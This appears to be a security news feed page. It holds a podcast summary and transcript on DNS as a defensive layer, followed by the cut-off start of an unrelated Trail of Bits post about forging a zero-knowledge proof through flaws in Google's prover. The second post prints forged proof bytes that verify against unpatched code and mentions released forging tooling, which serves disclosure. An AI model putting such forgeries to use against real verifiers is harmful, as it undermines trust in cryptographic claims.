In Episode 20 of The Defender’s Log, host David Redekop sits down with Amsterdam-based tech veteran Chris Buijs to discuss the often-overlooked backbone of internet security: DNS (Domain Name System).

The “Set-it-and-Forget-it” Trap

Buijs, who transitioned from an electrician to a network architect, notes that many organizations treat DNS as a “utility” rather than a security asset. Because services like Microsoft Active Directory include DNS by default, IT teams often adopt a passive, “next-next-finish” mentality.

“It’s the protocol with the most RFCs because we’re constantly building security and encryption on top of it,” Buijs explains. “But if DNS goes down, everything goes down. No IP, no business.”

Breaking Down Silos

A major hurdle in modern security is the disconnect between departments. In large enterprises, the Networking, Security, and DNS teams often operate in isolation. Buijs argues that for a true Zero Trust posture, DNS must be integrated into the core security architecture, not managed as a lonely outlier.

Key Takeaways for Defenders:

• Visibility is King: You cannot protect what you don’t measure. Use DNS logs to identify shadow IT and malicious behavior.
• Automate with Intent: While CI/CD and DevOps speed up deployment, they often create security gaps if DNS isn’t part of the automated template.
• The 5-Minute Rule: Scanners like Shodan and Censys can find a new public IP in minutes. If your DNS isn’t hardened (using tools like TSIG), you’re already exposed.

As the industry moves toward DevSecOps, DNS remains the first and last line of defense. Don’t let it be an afterthought.

Full episode of The Defender’s Log here:

Why DNS Is Your First Line of Cyber Defense | Chris Buijs | Defender’s Log

TL;DR

• Critical Infrastructure: If DNS fails, business stops; yet it’s often ignored as a “set-it-and-forget-it” utility.
• Siloed Teams: Disconnects between Networking, Security, and DNS teams create massive defensive gaps.
• Default Vulnerability: Standard “out-of-the-box” setups (like Active Directory) lack visibility and hardening.
• Automation Gaps: Modern CI/CD often neglects DNS architecture in favor of deployment speed.
• Instant Exposure: Scanners (Shodan/Censys) find new IPs in minutes; unhardened DNS is an immediate target.
• Protocol Abuse: DNS and NTP remain top vectors for amplification and DDoS attacks.
• Shrinking Expertise: Deep protocol knowledge is being replaced by “black box” cloud defaults.
• The Goal: Integrate DNS as your first and last line of defense.

Links

View it on YouTube: https://www.youtube.com/watch?v=O1j4eY-blfM

Listen to the episode on your favourite podcast platform:

Apple
https://podcasts.apple.com/us/podcast/why-dns-is-your-first-line-of-cyber-defense/id1829031081?i=1000763429341

Spotify
https://open.spotify.com/episode/3l5QcgJeiDks4StxVHT1bA

Amazon Music
https://music.amazon.ca/podcasts/d7aa9a19-d092-42a6-9fe9-9e8d81f68d30/episodes/33e90cb7-0fb3-4fca-aae7-528e3e027376/the-defender%E2%80%99s-log-podcast-why-dns-is-your-first-line-of-cyber-defense

ADAMnetworks
https://adamnet.works

Full Transcript: The Defender’s Log - Episode 020

Why DNS Is Your First Line of Cyber Defense

Intro: Deep in the digital shadows where threats hide behind any random byte. A fearless crew of cybersecurity warriors guards the line between chaos and order their epic battles rarely spoken of until today. Welcome to the Defender’s Log, where we crack open the secrets of top security chiefs, CISOs, and Architects who faced the abyss and won. Here’s your host, David Redekop.

David Redekop: Welcome back to The Defender’s Log. This is episode 20 and I’m really glad to have Chris Buijs with me today. Chris, welcome.

Chris Buijs: Thank you. Thank you for having me.

David Redekop: Did I pronounce your name properly?

Chris Buijs: “Boughs”. No, don’t worry about it. Everybody gets it wrong. Bujis.

David Redekop: You know, in Dale Carnegie training that I went through a number of times, a number of years ago, there was one particular episode, episode we call it, no, we call it a session. And in that session, it was about the importance of a name. It is literally the sweetest sound to your ear, having your own name. And so ever since then, it’s been important to me to at least attempt to pronounce the name correctly, so.

Chris Buijs: The effort is appreciated.

David Redekop: Yeah. Yes. And what does the name 20 mean to you? Anything at all?

Chris Buijs: 20. Yeah, I live in Amsterdam and 20 is the area number, the area phone number. So if you do some local services, like a website or stuff like that it’s common to say Company 20 or Company zero 20. We identify with the local Amsterdam vibe, if you like.

David Redekop: Amsterdam really in so many ways, is such a hub for tech, especially cyber tech. And I’ve noticed this, that if you were to tell me, or if you were to quiz me and say, what percentage of the web when it comes to technical internet engineering kind of discussions happens in what language? I would say English is number one and Dutch is probably close to number two. Would that seem to make sense?

Chris Buijs: Here in Amsterdam, you mean? No, it’s mostly English, I would say in the tech scene.

David Redekop: Right, absolutely. It is mostly English and in fact, I find that my Dutch friends are very often more competent in English than many Canadians and Americans are.

Chris Buijs: No, you hear it a lot and that’s why it’s also the #1 Expat spot in Europe, I would say, not by numbers, but by viability, I would say. But English is very, very common because we do a lot of technology here and innovation. But it’s mostly the written sort of it instead of the selling of it, I would say, if that makes any sense. So we do lots of innovation on standardizations, protocols, all kinds of tech. You know, how to do it, how to figure it out, you know, breaking it in and then give it to someone to make it or operate it. So all those manuals need to be in English. Otherwise, you know, it would not work. And we’re an import-export country from hundreds of years. So English was, you know, the way to conquer the Brits, right? And go to America, you know, we have lots of history there as well.

David Redekop: There is fascinating history and there’s a lot of details in written history or oral history at the time about what the Dutch represented to the British. And it wasn’t flattering, it was not positive at all. And the height and the blonde hair color was, you know, kind of used against the Dutch. That which stood out. Yeah, it’s almost comical looking back at it now. But, no, we’re definitely very grateful for all the Dutch contribution to making the internet a better place. Chris, you and I met online and through various online resources. All people DNS eventually connect with each other, right?

Chris Buijs: Oh, yeah. No, no. It’s a very small community if you think about it worldwide. We all know each other at one point of time, and if you don’t know someone, you’ll get introduced very quickly like we did as well. It’s fascinating stuff. DNS is fascinating and you need to have a knack for it, I think. And I think all the people I meet that stay in contact, they all have knack or is crazy or insane. It’s close to insanity, I would say, but it’s true. Yeah. You meet so much nice people and they are not many, but if you meet them, they are all great, somehow it’s a good club of people.

David Redekop: Yes. And it’s not a space that ever stands still. You would think that at some point we would reach a level of stability, a level of maturity, a level of, you know, steady state. And that we have yet to arrive at that because every single time there is a new dynamic in terms of how internet security develops. DNS necessarily needs to keep up, and yet we can’t break anything from the past, right? So there is this ongoing effort of keeping up with the new without breaking the past, and kind of gives an appreciation for, you know, what Microsoft does, you know. Let’s give credit where credit is due, that if you’re going to have a long living protocol or long living operating system, long living anything, and there’s a dynamic that requires you to keep up but not break anything. Over time, that does get complex. And so that’s where we are today.

Chris Buijs: Oh yeah. It’s a bolt-on protocol. And, you know, it is the protocol with the most RFCs or anything with the most RFCs anyway, because we’re building on all kinds of security features and encryption and all kinds of whatever because it’s important. So we stay moving in the direction of making it better, safer, faster, you know, whatever it is, right? So, yeah.

David Redekop: Right. When we first started writing our own resolver, it was like, “How many of these RFCs do we want to be compliant with?” And the list just kept on growing and growing and growing. Chris, I would be very interested for us and our audience to hear your origin story. What was your childhood like that led you down the path of being interested in technology in general?

Chris Buijs: I think it was around the time period where you had the Commodores and the Ataris and all the British boxes out there. That got me in because school started doing it as well. So I got introduced via school and via buddies, basically, and started programming because that’s what you did. Because you could not sell on the corner shop something software or game or whatever. So you wrote it yourself. So programming was really a thing that you did, at that time for educational purposes but also, you know, at home as hobby. So that got me in touch with technology, I would say, in the early age. And then later on, I kind of went into the electric engineering role, not because of it, but, there’s kind of a connecting story there to become an electrician. And one of my first jobs was, you know, pulling cables and rolls and all this kind of good stuff. And that was in the era that network cabling became a thing, you know, offices needed network cables to run Token Ring in that era of ATM. So I was the guy that was pulling those cables and so all these blinking lights in the closets and all this kind of stuff, and I said, that’s cool. So I started doing more and more. And when you get in touch with those people that need your cables, if you can say it like this, they’re gonna tell you a little bit of this, a little bit of that. And I find that highly interested. So I left electrician behind and went on some courses to, you know, for ICT or they call it, I think they still call it like this or IT, or whatever they call it, you know, but networking, basically, operational networking, build networks. So that was my first step. And this was all Token Ring IBM technology match, you know, as an Israeli clone of Token Ring, bit older networking software around it, protocols, lan manager was one of the first one I would say, Banyan VINES and NetWare, you know, SPX/ipx, all this kind of stuff. VIP, no, TCP/IP yet, it didn’t exist yet. It existed somewhere on ARPA or DARPA, but not on corporate networks yet. So, and then the story of this multi-stack started, you know, we had net bias even some TCP appear early, and we had multi-stack, and that was kind of unmanageable. And I go, and I went in that, I said, okay, I can build networks, I can architect them, I can physically build them. But now we also need to see how we can build them the best way to comprehend all this multi-stack mess. Because that was what it was and it was not as big as now, right? But it was expensive. Very expensive. It needs to be put into something to the equation of the bottom line. So it was lots of automation. You know, this was when PCs came in and all this kind of stuff. And that went well for a couple years. And then TCP only, TCP/IP only, networks, you know, and printless office. That was kind of the two things that were combined. So we went to TCP/IP and voila we also had ethernet now all of a sudden, so all this cabling stuff, we gonna do it again. And DHCP, DNS, NTP, NetBIOS, WINS, all this kind of protocols needed to be operating on the network to make sure that, you know, everything went from A to B. So multi-stack, one single stack tcp/ip only, and these networks were growing quite fast. This is the 90s, I would say, beginning half of the 90s, where we had so many protocols and IP addresses and stuff like that. We didn’t do Excel yet then. I think it was Just vi. Host files and vi. And that was an area where you started to say, hey, you know, we need to automate this. We cannot keep track. And if we can pull it from the network or push it to the network and configure it remotely, you know, the switches, these routers and all this kind of good stuff, you know, we do that. So we started writing our own scripts, you know, and maybe some software that was available from some network vendor. Started managing those networks to make 'em sizable. And this is where I got introduced mostly to the IP, DNS, DSP, NTP stuff. And I started looking for management software that does it. So we ended up with QIP, we were one of the first partners of Quadritek at the time that started QIP, which is DDI, you know, (DNS, DHCP, IPAM IP address management) to manage those networkers on the protocol level to make, you know, provision networks and make sure that if you plug something in, it gets an IP address and it works, you know, very exciting stuff. We took it from there and then we became kind of as a group of people that did stuff and we went away and more from the networking and more on the provisioning side of story. Big networks like enterprise network, telcos and all this kind of stuff. And the more we did that, the more we wanted to automate because first, it was static IP addressing, you know, it was not scalable at all. So DHP came in. And then Microsoft came along with their active directory crap. Sorry, I said that because it is, which was completely not scalable, but it came with all the services that you need to run a network without having knowledge. Right? And we saw that happening and it became quite messy in lots of environments. And we said, hey, you know, we need to do something, we need to push for better, higher grade services, network services, because this is important stuff. If a network service goes down, DNS goes down, everything goes down, right? No DHP, no IP address, no business. So that was really where we said, hey, we need to make this more serious. You know, we need to tell the market. That they need to take care of this, like security. You need to take care of provisioning, you need to take care of your assets. What’s happening on your network? Are you using it well? You know, can you improve it? Can you optimize it? All this kind of stuff. Which comes with the services because you just look at the logs, right? And then you get a lot of information, you can do something with it. So we did a lot of stuff there. And then there’s DNS thing, you know, caught my mind. And I love DNS, I really love it and you can use it for so many things. If you have the right version in the right spot, in the right architecture and those kind of stuff, you can really leverage it for a lot of stuff without spending a lot of money on security solutions, for example, or network management solutions that don’t make any sense. Because at that time, what you saw is, you know, you were running a Cisco network, you were not running a company network or you were running a checkpoint security network or infrastructure, not a company network infrastructure. Right? So you just copied what the vendor said and then you let it run and it came with all the software like Active Directory. Right? And what you saw is that the knowledge on this part became very scarce because you know, you switch it on, you know, we install a Microsoft Active Directory server and DHCP and DNS just runs, you know, and that’s fine. You know, it doesn’t break, it runs, it’s slow maybe, but, you know, no problem. So the knowledge on this kind of protocols and on this kind of level of networking and especially on the security side was very terse and we saw that as an opportunity, you know, and said, okay, we’re gonna take care of that for you and make sure that it is secure and is fast and nice and whatever and you’ll also have information and you have visibility and inventory and, you know, whatever you want. Right? So that was a good business. Still doing that till today where DNS is still, you know, one of my favorite hobbies professionally and privately and helping companies just to architect it Right. And include it in your security posture and include it in your architecture and don’t say, you know, oh, it comes with Microsoft. So we just switch it on and, you know, we’re on page 24 of the manual and we will be fine because that’s the recommendation, and that’s just not enough and this is knowledge-lack. So I try to spread knowledge on this, which becomes more and more difficult by the day. But it’s good for business because of it. So yeah, that’s kind of the story. I gave you the short one because it went, I can go very deep on a network level, especially on Cisco and Syslogging and query-logging and all this kind of stuff where you have feasibility kind of stuff. And then later on I was still doing that, but more in steering, leadership, evangelist, trainer kind of stuff, you know, to share this expertise and say, hey, we need more people that know this, so we get better networks out of it, which is needed still.

David Redekop: Very interesting, Chris. Very interesting. I’m gonna go back to your light bulb moment when you said DNS! This is it! This is the interesting thing! because everything that led up to that point was a series of steps to get to the point where DNS works, right? We sometimes have arguments about whether what kind of our protocol DNS is and what the level of the OSI it runs at, and my answer usually is, “well, everything from 2-7 depending on how you use it.” But at the end of the day, it’s a layer 7 application, so you need to have a number of building blocks in order to get there.

Chris Buijs: It’s funny that you said that, level 7. It’s a pain in my heart to admit that you’re right on it because I’m still a networker. For me, it’s level 3, all the way. Yeah. But from a perspective that you need to have. Absolutely. And it came again with this, I don’t wanna bash Microsoft Active Directory at all, but it came a little bit with Microsoft, where they positioned it as an application because it runs on an operating system and it makes complete sense and there was a light bulb moment there in as well where they said, hey, if you say level 7, there is all of a sudden more interest for it from the networking guys, from the security guys, from leadership, from decision makers and stuff like that, because then now they get it somehow because level 3 is, you know, that’s mystical and, you know, magic and all that kind of stuff. And then, you know, they made it more easier to sell it. I would say, from a product level or from a knowledge level or get buy-in and all this kind of stuff, so I fully agree. but I also disagree a little, you know, in my heart.

David Redekop: Yeah. No, I completely get, I completely get it. Especially because the things that are at layer 3 tend to be a set-it-and-forget-it kind of thing. And that’s where even to this day, a lot of layer 3 functionality is a monitor it, but you don’t need to have this continuous defense posture. And in your writing in SC Media, I noticed that you have pointed that out, that traditional IT Ops teams were used to this, a set-it-and-forget-it mentality, and now needed to make that shift towards Dev-Sec-Ops, where it’s about this continuous defense mindset. When did that first become obvious to you?

Chris Buijs: Well, downtime, right? That’s was the #1. You know, and it’s, you know, the haiku, “it’s always DNS.” This is how this, this is where it all started with where, you know, especially in the beginning when we transitioned from host files to DNS because you needed DNS for distribution and auto-updates and all this kind of good stuff, right? So now things became automated, so it also goes automatically wrong because it’s all new and all this kind of things. So we had massive downtimes, you know, and this was in a time, if it was down for an hour. It kind of was not nice, but, you know, we were not, you know, losing millions of dollars or millions of euros. Right. But nowadays, if DNS goes down, it’s not only the impact of the network owner, but it’s also affecting your business or, in the worst case, even business of other people. And then, you know, you always see it’s, I think a good example is Facebook and Cloudflares of this world that have an outage. And when it’s DNS, you notice, I always see a red flag. So if they know what it was, they immediately report on it an hour later, “we fixed it. This was it. Configuration issue, whatever, lalalalala.” But if it’s DNS, it’s always a week later, or it’s always two weeks later because they’re looking at the wrong places. They don’t do, you know, so I’m an old debugger on networks. I start with layer 0 and then go to layer up to layer seven, right? Not the other way down. And you see with, especially with SaaS and cloud, you know, they are level 7, right? So of course they’re gonna go from level 7 down, but it takes you a lot of time to do so, to do the debugging. So that was for me. Where I get like, okay, the impact of this is that “we need to do it well” because if I have a wrong comma in some text file, the business stands still. So this is how important it is, and it’s still difficult to sell this because, and it’s kind of a problem with DNS that it kind of always works, you know, set-it-and-forget-it, as you said. And if it works, it works well for a long time. And then when it goes down and there’s trouble. People have trouble to identify that it is DNS. They don’t automatically make the hook with DNS. I do it instantaneously. I go directly to DNS because I’m a DNS guy. Right. But most companies don’t and I think there’s a couple of reasons for this, which is kind of, it comes back to my storytelling to lots of companies as well. So, you know, who owns DNS in a company for example? You know, mostly it’s the networking guys, or it’s the Microsoft guys, but not the security guys, for example, or any mix, you know, depending on size of companies and all this kind of stuff. So before you get everybody on board and, you know, fixes broken communication between departments, you already have, you know, downtime grows. And that’s what I said earlier, it needs to be part of your architecture, DNS, DHP, and all this networking provisioning protocols need to be part of your architecture and part of your stack. So all this full-stack nonsense I’m hearing continuously nowadays with CI/CD and full-stack development and stuff like that. And they go like, “what are you using for DNS?” “Oh, it’s there, it’s in docker.” whatever. I said, no, see, there you go again. We automate the hell out of everything. Beautiful. Really I love it. But then we forgot DNS again, we’re happy to spend 10 million on a firewall, but 10,000 euros on a good DNS server is kind of the most difficult thing to do or something because it always is up. And it costs “nothing” (between quotes). This Microsoft servers, DNS is included, so it’s for free, right? Yeah. This is all nonsense of course, but this is the perception that you need to break and All companies, all bigger companies have this perception. It runs. We can blame Microsoft or we can blame some other vendor or whatever because it’s part of the architecture, because, you know, we’re using it.

David Redekop: I constantly see the same. You probably are also a witness to this, where 7, 8, 9 figure topline companies that have their endpoints’ DNS pointing directly to their active directory DNS. Just the prevalence of that one default alone tells me that you are right in your broader assessment that DNS is not thought about proactively. And we find the same thing about the DNS folks or the ones that carry that responsibility are very often not part the larger the organization, the more isolated they are and the less influence they have on the networking team, the less influence they have on the security team . so, in a larger enterprise, you we’re talking about dealing with three separate and distinct teams: security, networking, and the lonely DNS just to do DNS correctly, and then to try to corral 'em together to agree on something. Everybody feels like their domain is being trotted upon when a good idea or a good strategic step forward is being proposed.

Chris Buijs: They are also not investing DNS, right? One of the things to add to that. because I worked with lots of the bigger, the top 500 enterprise in the world. Not to pat myself on the shoulder, but I did. And what you’re seeing is that the DNS team, for a big bank worldwide is maybe three people, you know, so the investment in that kind of department is so low that it disappears from the charge, right? So, and with that, the seriousness or the importance as well, because it’s not costing anything, you know, compared to a security team, for example, it’s cost hundreds of millions in larger organizations. So I think it’s also the voice they don’t have because of that or the politics around that is, you know, when it goes down it’s always like the DNS guys all said, “we told you so.” always, always. and nobody listens because there are three nerds in a 100,000 people company that is making sure everything works. I don’t know what it is exactly, I think it’s knowledge on the decision-making level. The DNS guys are not equipped to explain how DNS works and how important it is in the architecture, so we can help them with that. But it’s, you know, a lot of work. But it’s also money, you know. How much do you need? Yeah. 10,000, 20,000. Oh. But, can we not use this DNS thing from Microsoft or whatever? So they’re battling, constantly battling and we need to help those guys a little bit more, which I’ve been doing for the past 25 years. It helps a little bit, but we need to do it absolutely more.

David Redekop: Right. Absolutely. Is there any particular strategy that you find that has worked? Because when you focus in areas that you’ve also written about, which is about moving towards automation, and the moment you have good quality of automation, you’ve got this human dividend, you’ve got a return of people’s expertise that are, that’s basically return in the form of availability of, you know, time and tasks. How do you convert that availability now to a defensive posture?

Chris Buijs: Well, it’s what you guys do with the Zero Trust, right? You turn it around. So you only trust what you can trust. but what I’m seeing is two things that goes a little against that. You now have application builders in the enterprise, for example. They built an application, they push a button, and it runs on the network and it is proficient. DNS, DHCP, the whole thing included. Security zones and whatnot. They actually don’t think about it because it’s the press of a button. So it’s not on their minds to build or architect an application that takes into account some stuff so it works even better or in conjunction with the security policies and all this kind of stuff instead of just template and you’ll be fine and we will see it in the audit. But the performance could be bad or even could be leaking or some security implications because of it because they don’t have it on their mind because they are just flushing out code, right? And what you see there is that having a process automated or not, it doesn’t really matter that thinks about the stuff where all these geniuses are together and think about it instead of different departments that come up with their own template. You know, you run three templates: a security template, the DNS template, and a provisioning template and you’ll be fine. And the conjunction of these three is far-fetched gap. There’s gaps and stuff like that, I’m not saying everybody but in general, I would say this is true and it’s not helping companies to deploy stuff, right? And in the worst case it comes with security implications. So having alignment, know what your company network is because this is the other problem that I was pointing out is that nobody knows what they’reยธ running. And #1 rule for me for automation is you need to know what you’re running what I’m seeing, the companies that have visited have their s**t together, you know, or their stuff together. Sorry. Is, you know, they have experts that look at the behavior of what’s happening or how is the network utilized? What’s the behavior of the network and connect the dots, you know, between the data and what the company needs and what the end users want. Because technical depth exists for a reason, for example, shadow IT exists for a reason because people are not happy with the facilities of the network, for example because it’s too slow. I use at home something better. I bring my iPad to work, you know, whatever. So you need to connect those dots, you said, “okay, how can we still have a high grade of usability? How can we influence behavior?” Because it could be simple as giving a training, you know, I don’t want to go down that route because we have training for everything nowadays, but it is important. So education, I would say, knowledge build up is number one in my book. If you don’t know how your network operates or you cannot measure it, you know, spend time on this to get it because otherwise it’s right there’s no point.

David Redekop: Yeah, there has to be an element of curiosity, right?

Chris Buijs: Yeah. You need to like it.

David Redekop: Yes, there has to be an unsatiating kind of hunger for the next, right? For doing things better for just a non-stop pursuit. It isn’t a target that you reach, it is an attitudinal positioning of always continuing to explore the next level. And what’s interesting I find is that when you identify those people, do you actually end up being, or when you identify those people, that’s when you actually see the next level of innovation kind of come to light or the need for the next level of innovation come to light. So, I’m always excited to see people that have demonstrated over a period of time that non-stop hunger for better understanding that can then immediately be applied for a client benefit somewhere.

Chris Buijs: Yeah. And connect those dots, what does it mean for the business, right? Because I see a lot of things introduced on the network where you can have this, it’s a very famous word in English. It’s, “why?” So it’s like, you know, “why did you do that?” You know, and they go, like, “oh, it’s good for the business.” Why it’s good for the business and, you know, the “5 Whys.” I love this, I love. This is my mantra. You ask deep enough and it’s, like, oh, I played golf with a buddy and he said that was good stuff. You know, not enough. So you see that lots of management decisions are made uninformed because they do not care. They just want to hear the story and move on and I think this is lack of curiosity, as you name it. But it’s a lack of interest, you know, if it’s your hobby, you know, DNS is my hobby, so I love going into big enterprises to see how they operate because yum, yum, yum, popcorn, right? So I love that because I, you know, if I don’t have that how would I know?

David Redekop: I set up a web server and a DNS server at a never before used public IPv4 address last night. And I thought, I’m very curious what is going to be my first hit on my interface. And believe it or not the very first, actually, I’m going to ask you. What do you think? What do you guess was the very first hit?

Chris Buijs: Query wise? Or yes DNS query wise. Um well I have a couple of these edge nodes running myself, right. So what I see when I start something new up, it’s lots of DDR, actually, somehow. But it’s, you know, you have this public list of how can I test the connection, connectivity.android.com. Google.com. There is this specific list, and I see this list. I see lots of domains and these are most of the domain scanners of suns, for example, or, you know, the census guys. These are the first guys I see almost every time.

David Redekop: Absolutely. We find the same thing. For outgoing traffic, the very first thing are the connectivity checks. So for endpoints, that’s trying to connect online, it’s iOS will always go to like captive.apple.com, for example. But when you stand something up on a public interface for others to discover and you’ve never served DNS there before, I was not surprised. But it’s like almost surprised when I saw the very first question was from for direct.shodan.io. Like, so that’s how those guys are staying super current because every once in a while I’ll stand up a device and online and wait, and see how long it takes Shodan to discover it. And it’s very, very fast. Census is like that too, that’s for sure. And Yeah. what’s your average time in experience before you get the first hit? You fire it up and then it takes, for me, it’s like five, six minutes. That’s it. I don’t even think it was more than a few minutes, and boom, there was the first query. Then, right after that, then TXT, bind.version, chaos Query started coming through because of course, DNS is one of those things that has to be public-facing for public resolvers. And because there are known vulnerabilities, of course, it would make sense that right away you’d be checking what version of a DNS server is running here, so.

Chris Buijs: The funny thing is I see more queries coming from Open Resolver Labs and all this kind of stuff to see if there’s open resolvers and make a report about it than actually bad actors. So I get more hits from scanners than the bad people. But, what’s interesting, for, an amplification attack, okay, you can home routers is a good target because if you have 100,000 zombies doing your job, that’s great. But why would I attack a home DNS server because I can steal 1,000 euros from your bank account? I dunno. You know, spend five euros to get ten, right? So I don’t know if that’s a good deal, but for larger organizations, of course. But amplification attacks, you know, the IoT stuff that is used as amplificator, and these are the worst devices on your network, the televisions and the barcode scanners and all this kind of crap.

David Redekop: Yeah. Every defender out there, by now, I would hope, would be blocking the two most abused amplification protocols, which are DNS UDP53 and NTP UDP123 to make sure that your network cannot reach out to those protocols to the internet period because they should be served internally. But it’s amazing how often those are still wide open. And partially it’s because so many IoT devices are still shipping with the only way they’ll function is if those IOT devices on startup can reach their own NTP server, right? So we’re dealing with an ecosystem that,

Chris Buijs: But I see a lot of NTP attacks as well. So I worked for this big bank where we did serious stuff on NTP. And banks or the financial sector is very interesting to attack with NTP because it’s very transactional, you know, it’s time-based. So we we had lots of GPS, not even NTP protocol, but GPS time attacks by little fans next to the data center. You know, sending fake GPS signals just to disrupt time because that was enough to disrupt transactions, you know, money transactions. And that was just to disrupt, you know, for all kinds of stuff. So they got the guys, you know, the secret police and stuff like this. I cannot share a lot about it, but it shows that, you know, if that’s already happening on that level, then NTP is like child’s play.

David Redekop: Absolutely. Yeah. I mean, the defenders have to cover all defenses, but the offenders just need to find whatever is the most exploitable weakness at any point in time. You know, with you being decades in the industry, you’ve probably seen a lot of next generation tools come and go. And if you look back at that journey, is there any one particular defensive principle that’s held for 20 years?

Chris Buijs: Oh, access lists, but that’s it.

David Redekop: Yes, I still rely on access list all the time. Like, I have public-facing services in a variety of sites, but I would never dare, you know, leave those services, you know, open to the world. No, no. I still use TSIG to, you know, give people a key that want to use my DNS server or, you know, in companies. And, the funny thing about TSIG is that even now with companies that making hundreds of billions a year, they don’t even support it. They don’t even have it, you know. And I go like, okay, you know, that’s again, the story. You know, what’s the positioning? You know, do they call it a safe DNS or DNS, you know. And they never called it a safe DNS, so what are we complaining about? Right? You get into what you get into, so there’s lots of storytelling and lots of knowledge and the lack of knowledge and the number of people not only in security and in events, but also on DNS and NTP and all these kind of low-level protocols that makes networks operatable. It’s getting less and less because they just, next, next, finish with your YAML file that just does everything for you to make your farting app work on the internet, right? So, yeah, that comes with lots of attack factors and lots of possibilities for security hackers and whatever to utilize in their attack as well. So we’re deploying so much containers and entities on the internet that are so unsafe and can be utilized and will be utilized, you know, if Census can scan my DNS server in five minutes, let alone, you know, people that are doing this for their job. So, yeah. But I’m kind of dualistic on it. I think it’s going in the right direction, but it’s also going in the wrong direction at the same time. Chris, this has been a real joyful experience for me to have a conversation with someone across the pond, as we say, that really has been in this space for as long as we have. And, I look really look forward to spending more time with you and figuring out where our paths cross further. But is there any one last piece of wisdom or advice that you’d like to leave the Defender’s audience with? Any last piece of wisdom or advice?

Chris Buijs: Just integrate and have DNS part of your security posture included and not do it separately or define it separately. You know, and you really need it as a whole architecture, as a full stack almost. That’s my advice, and if you need to do that by changing processes or organization, do it because the benefits are real.

David Redekop: So that is in complete agreement with my thinking is always defensive posture and DNS is your first and last line of defense. You can fit a lot of other details and integrate in the middle, but if it’s the first and the last line of defense, then you’re really making good intelligent use of defensive DNS.

Chris Buijs: Absolutely, cannot agree more.

David Redekop: Chris, it’s been so good to get to know you. Thank you for your time today and hope your weather turns out a little bit nicer than ours. It’s end of April here and yet it was below zero this morning, so.

Chris Buijs: Oh, no. We have like 10 degrees, so we’re, good.

David Redekop: Oh, you’re good. Alright, well I’m coming over very shortly. So I’ll see you soon. Take care. Bye for now, Chris. Bye.

Outro: The Defender’s log requires more than a conversation. It takes action, research, and collective wisdom. If today’s episode resonated with you, we’d love to hear your insights, join the conversation, and help us shape the future together. We will be back with more stories, strategies, and real world solutions that are making a difference for everyone. In the meantime, be sure to subscribe, rate, write a review, and share it with someone you think would benefit from it too. Thanks for listening, and we’ll see you on the next episode.

1 post - 1 participant

Read full topic

The post TDL 020 | Why DNS Is Your First Line of Cyber Defense | Chris Buijs appeared first on Security Boulevard.

Two weeks ago, Google’s Quantum AI group published a zero-knowledge proof of a quantum circuit so optimized, they concluded that first-generation quantum computers will break elliptic curve cryptography keys in as little as 9 minutes. Today, Trail of Bits is publishing our own zero-knowledge proof that significantly improves Google’s on all metrics. Our result is not due to some quantum breakthrough, but rather the exploitation of multiple subtle memory safety and logic vulnerabilities in Google’s Rust prover code. Google has patched their proof, and their scientific claims are unaffected, but this story reflects the unique attack surface that systems introduce when they use zero-knowledge proofs.

Google’s proof uses a zero-knowledge virtual machine (zkVM) to calculate the cost of a quantum circuit on three key metrics. The total number of operations and Toffoli gate count represent the running time of the circuit, and the number of qubits represents the memory requirements. Google, along with their coauthors from UC Berkeley, the Ethereum Foundation, and Stanford, published proofs for two circuits; one minimizes the number of gates, and the other minimizes qubits. Our proof improves on both.

Table 1: Resource upper bounds reported in different proofs for circuits computing the correct output across 9,024 randomly sampled inputs

Our proof fully verifies when using Google’s unpatched verification code. It has the same verification key as their original proofs and is cryptographically indistinguishable from a zero-knowledge proof resulting from actual algorithmic improvements to the quantum circuit. We are releasing the code we developed to forge the proof, and a summary of our proof follows.

Circuit SHA-256 hash: 0x7efe1f62bb14a978322ab9ed41d670fc0fe0f211331032615c910df5a540e999

Groth16 proof bytes: 0x0e78f4db0000000000000000000000000000000000000000000000000000000000000000008cd56e10c2fe24795cff1e1d1f40d3a324528d315674da45d26afb376e8670000000000000000000000000000000000000000000000000000000000000000024ac7f8dd6b1de6279bcce54e8840d8eb20d522bf27dedd776046f6590f33add217db465201c63724e6b460641985543d2b79c3c54daeea688581676a786aafc1dba8604a361acdd9809e268b6d8bc73943a713bb0ed0d96221f73d26def6ea4041d05b077523d9351a48b2ecd984c686b6473df69d20a24296d0a1cba3cdbe92eb13a7cc0ecd92f27f7bf23f9ac859d4293e17216dcbd85d1c7f60a52f65a9d02faef077336acd39e845d534200b575b029d6e3f0afb4f90815557233eab70b0fe88919834dd9beb90d47241f1490dc202e0dce44e4894982b07073c8d4426513732d79e9af9913b254aa29471e1a98fa1b43a1886afb5dbd36988153217aa2

Verification key: 0x00ca4af6cb15dbd83ec3eaab3a0664023828d90a98e650d2d340712f5f3eb0d4

Zero-knowledge virtual machines

Google used Succinct Labs’ SP1 zkVM for their proofs. A zkVM is essentially a way to prove that you know which private inputs for an arbitrary guest program on the zkVM generate some public output. For example, consider this basic Rust guest program.

#![no_main]
sp1_zkvm::entrypoint!(main);

pub fn main() {
 // Read in private inputs a and b
 let a = sp1_zkvm::io::read::<u32>();
 let b = sp1_zkvm::io::read::<u32>();
 // Add them together
 let c = a + b;
 // Write the public output a + b
 sp1_zkvm::io::commit(&c);
}

A user can take the private inputs 2 and 3, run this program on the zkVM, and get a proof that the program ran successfully and that the output was 5. Anyone can verify the proof, but they would get zero knowledge about whether the input was (2, 3), (1, 4), or (6, 0xffffffff). Obviously, this toy problem is simple; real programs can be significantly more complicated.

Behind the scenes, the Rust guest program compiles down to a RISC-V ELF binary. This simple architecture allows complex program logic to be encoded into provable mathematical relationships. For example, the state of the RISC-V registers after executing an instruction is a deterministic function of their state before execution. Having to prove every step makes generating zkVM proofs resource-intensive and costly, but significant engineering work has enabled proving statements about complex programs.

Google’s zkVM guest

In the case of Google’s zero-knowledge proofs, the private input is the quantum circuit (in a custom assembly language), and the program is a simulator that checks the circuit. Note that these are “circuits” in the quantum sense, not the typical zero-knowledge definition. The public output includes bounds on the number of qubits and gate operations. In general, simulating quantum circuits is difficult, but the “kickmix” circuits defined in this paper refer to a specific subset that can be tested classically.

The following script, adapted from one of Google’s examples, increments a 3-qubit value. It includes three operations and a total of three qubits. Note that the first instruction CCX has two inputs (q0 and q1) and computes q2 = q2 ^ (q0 & q1). This is called a Toffoli gate. Toffoli gates are quite useful, but they’re much harder to implement on actual quantum hardware, so the complexity of quantum algorithms is sometimes measured in the number of Toffoli gates (or more accurately, non-Clifford gates). Circuits like this are serialized into bytes and sent to the zkVM simulator.

# Increment a value held in 3 qubits (q2, q1, q0). Sends
# (0, 0, 0) -> (0, 0, 1)
# (0, 0, 1) -> (0, 1, 0)
# ...
